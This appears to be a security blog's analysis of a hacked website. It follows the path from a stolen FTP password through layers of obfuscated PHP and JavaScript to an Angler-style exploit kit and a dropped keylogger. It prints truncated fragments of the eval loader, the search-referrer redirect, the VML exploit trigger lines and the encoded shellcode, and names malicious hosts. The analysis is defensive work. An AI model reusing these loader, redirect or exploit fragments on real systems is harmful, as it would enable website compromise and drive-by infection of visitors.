How deep is the rabbit hole? A tale about exploit kits and layers of obfuscation

We at MRG are always amazed about malware writers and operators putting so much work into obfuscating their code and keep everything under the radar. This story started when one of our friends called us, because it turned out his website has been hacked. And this is where our story begins.

The alert

The victim received a mail from Google on April 20, 2014, with subject: “Your AdWords account: Ads not running due to AdWords Advertising Policies”. The redacted content:
“Hello,

We wanted to alert you that one of your sites violates our advertising policies. Therefore, we won’t be able to run any of your ads that link to that site, and any new ads pointing to that site will also be disapproved.

Here’s what you can do to fix your site and hopefully get your ad running again:

1. Make the necessary changes to your site that currently violates our policies:

Display URL: xxxxxx.xxx

Policy issue: Malware
Details & instructions: http://support.google.com/adwordspolicy/answer/1308246?hl=en&utm_source=policy&utm_medium=email&utm_campaign=gen

…”

First of all the victim was lucky that he has been notified by Google, because otherwise the site could have remained infected for weeks (or months). Thank you, Google, for the free malware scan! First things first, a copy has been made about the infected site via FTP, and the infected index.php has been restored from backup – to prevent more infections.

The root cause

Based on the FTP event logs, it turned out that the FTP password could have been stolen:

Apr 17 05:38:07 server pure-ftpd[77948]: ([email protected]) 
[DEBUG] Command [user] [xxxxxx]

The victim never updated his site from Italy. Looking at the timestamps, the site was infected for three days. It also turned out that the FTP password used to update the website has been stored in Total Commander. There are two issues with this: The use of clear-text FTP, and  storing the password without any master password (it is a reversible encryption). Both issues can result in stolen FTP password(s), because a malware running on the victim computer can steal the password both way. On a side note, there was an updated AV running on that computer. The FTP password has been changed ASAP using a clean computer.

PHP obfuscation

Let’s check the infected index.php. It is quite easy to spot the problem at the beginning of the file:

<?php ob_start(); ?>
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZ3JjuxMspz3AvQOPxq9kDYXRcaUiYbeJDbMCYKgXvRd6P799io67TOPKgkNaVE4p7Iyk2SED+bmQ/z1z//4x378848//u2//fGX+ef4+v7Z55+9ff+M+Wf75O/n3/rz+2f7/inXa/vt++f77/v3+/b3989x/T/+dr7+vP5t3/+O7/eW/v3Tlt/H9dqPv28/f69l+f37u8rt1/vHz++rvz5f7r++r/36e/8X1/t9P+f91n/xPP+3+/v9/L+/7/f11u8rv+6v/Lr+93vr7/X7V/fX/8/r/X99Xs+3f9/3+N7r9v0zvt9fb5ecxGd3ycj3//u3LLTbJRPjfn3X+P4ppyzpfefr9dy373/7+X/JXN2vtarn9zy+f77lq35fr771uXL9hJy263O+br++/7weMnJ+9ryX0a/rnPfRJMvntWMdzuc53/vQZ76fu31pzcb1mfhcvf5+6kTs77ie9fzu897Pz5x/O7/vvFas83HJ1vme/aF13bQ24/rc+f9zfWM9+vXMvHZ+Jvbgrs9oL8/1Odch7ud26d65dlznXIvzfs7Xz/cPdLRfnzv3Lta3XXvR0X/d27mfPOu51/EsVe8fyz3f8nvP655rXdkX3nfu16H7ke6d7z2/z39/XHsc916un1MOkPVzvav2Mb6nXM8d135LR+7Xc8a+3S65ZC25v/jOXfupNT3l4HzG87P1tjz3cT1LvOehZ9AahZzU6+f8npDNQzL4vmTl/M5TDljLkNEqOZJMnPeCXJzXOGXv/HzI3HGty/ksIVOf6994ti/d56G11HrWl9ZQehx7+tYen6+/pK/a85BX3U/o3Svl/nxv15rX ....

And it goes like this. This is the first level of obfuscation. Notice, that in the case of preg_replace, with the /e switch one can execute the commands (this syntax has been marked as deprecated in newer versions of PHP). This trick is used to hide the eval from admins. Oh, the power of PHP …

If we try to deobfuscate the original infection, we have to dig into 6 layer of deobfuscation, with eval, unescape, base64_decode, gzinflate, and preg_replace. I attached the final deobfuscated PHP – final_infected.php, because it might be interesting for some people. It includes banned IP addresses and IP ranges, which is anti-bot protection against AV and URL scanners.

Finally it uses curl to fetch the payload, which is different for average victims and the banned bots. This is a very good solution to keep the infected websites updated with the latest redirects:

hxxp://javaterm.com/shaman/shaman.php –> for bots

hxxp://javaterm.com/green/backlinker.php  –> for users

JS obfuscation

Copying the infected index.php to a test machine, and running it in an isolated Apache webserver, the result looked like this.

<script type="text/javascript">
 <!--
 eval(unescape('%66%75%6e%63%74%69%6f%6e%20%63%62%34%65%33%33%34%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%35%38%39%30%35%33%37%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%35%35%36%31%32%38%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%2 ...

The whole obfuscated commands are 6042 bytes. Recently I played a lot with manual analysis of these kind of stuff, but wanted to try some automated tools. Turned out JSUnpack is one of the best tools for this task. Unfortunately, their online website was down, and SVN was not working either. Lucky me, Remnux already had a working JSUnpack, so I started the reverse engineering with that. Luckily, only two layer of obfuscation is done here (that’s eight so far). The main code is here:

window.onload = function () {
 //ShowModalForm();
 //return 0;
 var from = document.referrer;
 var i;
 var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
 for (i = 0; i < se.length; ++i) {
 if (from.indexOf(se[i]) + 1) {
 if (!checkCookie()) {
 window.location = "hxxp://pagerank.net.au/img/popup.html";
 }
 }
 }

There are two interesting things here: If the user is not coming from a search engine (var se = [“google”, “yahoo”, “bing”, “yandex”, “baidu”, “gigablast”, “soso”, “blekko”, “exalead”, “sogou”, “duckduckgo”, “volunia”];), or already visited this site since it has been infected, the malicious redirect won’t be executed.

We reported the malicious domains and URLs to Google safe browser list.

Once the redirect is done, the user visiting the infected site is redirected to a TDS (traffic direction system), and based on the IP, time of day, day of week, angle of moonlight, etc., the user is either served with a full site ad (usually in the same language as the source IP country), or by a drive-by download exploit. The redirection chain involved four HTTP 302 or Javascript redirects, with different domains. I count this as another layer of obfuscation, namely the ninth. The last site with the drive-by exploit was “Content-Length: 93622”. Again, because of the obfuscation.

Automated analysis

As usually, automated analysis will be blocked, check this report:

http://urlquery.net/report.php?id=1399044133707

Based on the URL structure, it has to be Angler exploit kit.

The exploit

The obfuscated HTML code on the final exploit page looked like this:

<p id ="WWhfM0" style="font-size: 85%; display:  none">RHEQCiFrECUvJBckHSElPw1xfkR2JwgnIh4PFQEQLQwMMHVTcTUFI0YTHCkCDy46UnpJGC08DD40PykpCTkuCx4DLx8iNFRkJAkjYyU2JQQ9PxoFIW5PZ04uIxEHPzcWPgpFEiwrBSM6ACgFSH9yDiQtByUPBD1 ...

and Javascript looked like this:

<script>
var iDZIUSFIsXfr; function k9(DJz){ var hp1Uq=
/*K4gjdn*/ { }
 /*9VUy4jveeBQ7ug*/ ,QCiP,Bf8TF= [],B1Kh8i,ZlpvL= ...

Most of the code is an obfuscated plugin detection for vulnerable plugins like Java, Flash, Silverlight, etc.

Once I visited the site from Windows 7 with Java 1.7.3 – guess what, a Java applet started. But at the end, the exploit was broken, because an essential Java class file was missing. Next, I visited the site from Windows XP without Flash, Java, Silverlight, and a DLL has been downloaded and loaded via Internet Explorer.
Both the old eval = alert; trick, and Wepawet online service was able to reconstruct most of the code, so it was easy to spot which exploit we are dealing with now:

X4lK94RlLNf0k5Y = 'urn:schemas-microsoft-com:vml';
UaL0fySAE2 = "#default#VML";
IaBwpbXpbSJsUz = 'B907FreVhE\:* { behavior:url(#default#VML); display: inline-block; }';
...
var v1 = "<B907FreVhE:oval><B907FreVhE:stroke id='QEx0frccw0zm7Ku8'></B907FreVhE:stroke></B907FreVhE:oval>";
var v2 = "<B907FreVhE:oval><B907FreVhE:stroke id='Y1Gfn0fZ8OeTl7'></B907FreVhE:stroke></B907FreVhE:oval>";
document.body.insertAdjacentHTML('afterbegin',v1);
document.body.insertAdjacentHTML('afterbegin',v2);

It is hard to say how many layers of obfuscation has been done here, I vote for 3 now, which is 12 layer of obfuscation so far. The following exploits are known to exploit VML in Internet Explorer.

  • CVE-2014-1776
  • CVE-2013-2551
  • CVE-2006-4868

And based on the analysis of the exploits, my bet is on CVE-2013-2551. In order to check whether this exploit is really exploiting the VML module, I disabled VML in the browser with the following command:

regsvr32 -u "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"

And I replayed the exploit traffic to the browser. I was right, the exploit failed this time!

Shellcode

Ok, now look at the shellcode:


VRGiFPbP = '
 % u0C0F % u0101 % u0606 % u0A09 % u060F % u0409 % u0D0F % u0901 % u090F % u0E01 % u0101 % u0101 % u0101 % u0C05 % u0605
 % u0306 % u0F05 % u0605 % u0D05 % u0404 % u0304 % u0F03 % u0507 % u0D07 % u0D07 % u0101 % u0906 % u0106 % u090F % u0F0E
 % u0601 % u0101 % u0101 % u0409 % u050D % u0501 % u0609 % u010D % u1001 % u0509 % u0B0D % u0601 % u0101 % u0101 % u0A09
 % u020D % u0106 % u090F % u0E01 % u0101 % u0101 % u0101 % u0706 % u0A07 % u0308 % u0508 % u0608 % u0207 % u0D07 % u0205
 % u0D07 % u0D07 % u1007 % u0407 % u0101 % u0906 % u0106 % u0206 % u090F % u0D02 % u0701 % u0101 % u0101 % u0409 % u050D
 % u0901 % u0609 % u010D % u1001 % u0509 % u030B % u0601 % u0101 % u0101 % u0A09 % u040D % u0B07 % u0501 % u0907 % u0101
 % u0102 % u0101 % u0101 % u0907 % u0101 % u0105 % u0101 % u0101 % u0B07 % u0101 % u1010 % u040E % u0B06 % u0609 % u010D
 % u1001 % u0509 % u0809 % u0601 % u0101 % u0101 % u0A09 % u050D % u0209 % u050D % u0101 % u0105 % u0101 % u0101 % u0409
 % u0D0F % u0908 % u0A09 % u0607 % u0D10 % u0A09 % u080F % u0A0C % u0908 % u0101 % u0101 % u0101 % u0D10 % u0104 % u010D
 % u0410 % u0B0B % u0A09 % u070F % u0A09 % u0702 % u0A09 % u0F06 % u0103 % u090F % u0901 % u0101 % u0101 % u0101 % u0806
 % u0A07 % u0F07 % u0605 % u0908 % u0607 % u0407 % u0101 % u0906 % u0106 % u1010 % u0704 % u090F % u100C % u0601 % u0101
...
H594lrrmmh = ' % u0906 % u0A09 % u0705 % u0D05 % u090F % u0602 % u0101 % u0101 % u0101';
IzK14dXaCYo = '
 % u0906 % u0A09 % u0705 % u0506 % u090F % u0E01 % u0101 % u0101 % u0101 % u0308 % u0607 % u0807 % u0408 % u0708 % u0308
 % u0404 % u0304 % u0103 % u1003 % u0408 % u0103 % u0101 % u0906 % u0A09 % u0705 % u0507 % u090F % u0C01 % u0101 % u0101
 % u0101';
Oj7heVMpR = '
 % u0906 % u0A09 % u0705 % u0D06 % u0209 % u0D0F % u0501 % u0201 % u0101 % u0101 % u0A09 % u0707 % u0906 % u0209 % u0D0F
 % u0501 % u0201 % u0101 % u0101 % u0A09 % u0707 % u0107 % u0B07 % u0501 % u0907 % u0101 % u0102 % u0101 % u0101 % u0907
 % u0101 % u0102 % u0101 % u0101 % u0B07 % u0101 % u1010 % u0706 % u0103 % u0609 % u010D % u1001 % u0509 % u0B03 % u0301
 % u0101 % u0101 % u0A09 % u0705 % u0907 % u080D % u0705 % u0D07 % u0101 % u0102 % u0101 % u0101 % u0B07 % u0501 % u0907
 % u0101 % u0102 % u0101 % u0101 % u0907 % u0101 % u0102 % u0101 % u0101 % u0B07 % u0101 % u1010 % u0706 % u0103 % u0609
...
XdVj0BJRl(VRGiFPbP,H594lrrmmh,IzK14dXaCYo,Oj7heVMpR);

Guess what, the shellcode has been obfuscated! Obfuscation++ (13 alltogether). I had no time to debug what kind of obfuscation has been done, maybe later.

Now check how the exploit was able to drop and start the malware.

exploit_vml

 

Process create on a DLL? Really? The DLL is a simple EXE executable, renamed to DLL. Obfuscation++ (14)

Before analysing the dropped malware, let’s have a look how it looked like on the wire:

dropper

 

This is ain’t no executable – for the first look. The DLL has been encoded with XOR encryption, and our XOR decryptor tool is able to decode it in no time. I bet this is a very effective step to bypass network level protections (IDS/IPS/web content filter). Obfuscation++ (15)

Static analysis

Now look at the malware itself. When it comes to static analysis, my favourite tool is PeStudio. Loading the malware into PeStudio reveals a lot of malicious insights from the malware. It imports CallWindowProc (possibly to load the embedded malware), MethCallEngine (possibly because it is compiled as Visual Basic p-code), etc. One interesting string is “D:\lopi\lpi1.vbp”, and because it imports msvbvm60.dll, it  must be a Visual Basic binary.

Dynamic analysis

Now look at the automated dynamic analysis:

Self loading the malware with CreateProcessInternalW and WriteProcessMemory starting with Buffer: MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8

It is hooking the keyboard with SetWindowsHookExA, creates an empty c:\autoexec.bat file, uses the PIPE\lsarpc (possibly local privilege escalation exploit?).

For the persistence, it creates registry key Software\Microsoft\Windows NT\CurrentVersion\Winlogon

For communication, it tries to connect to the hardcoded IP 91.200.14.170 (Ukraine), which is on Spamhaus blacklist, but it was down at the time of testing.

It also checks for the running processes by calling tasklist.exe.

The problem is that P-code executables are compiled into bytecode which is interpreted by the Visual Basic virtual machine at runtime (obfuscation++, 16). I believe this old technique is still useful to bypass some AV engines.

vb

For a more detailed analysis of the malware, visit this link:

https://malwr.com/analysis/NjJkMGFlMDZmZTJjNDM0ZWJmOTJjNmZkZjBiN2Q2NmU/#

Lessons learned:

  • Protect the machine where you update your website. Patch everything, remove Java (and Silverlight), don’t install crap freeware, etc.
  • Use a free malware scanner for your website. Or if you have shell access, add integrity monitoring with real time alerts. This works as long as only one admin is responsible to update the site.
  • Don’t use FTP. Try FTPS, SFTP, FTP over SSL.
  • Don’t store the FTP password with reversible encryption.
  • Disable curl on your PHP environment. (disable_functions = curl_exec, …)
  • Don’t trust free, online, automated URL analysis tools, they are usually blacklisted.
  • It is high time disabling VML in Internet Explorer.

That’s all folks! 🙂

Leave reply

 

Our partners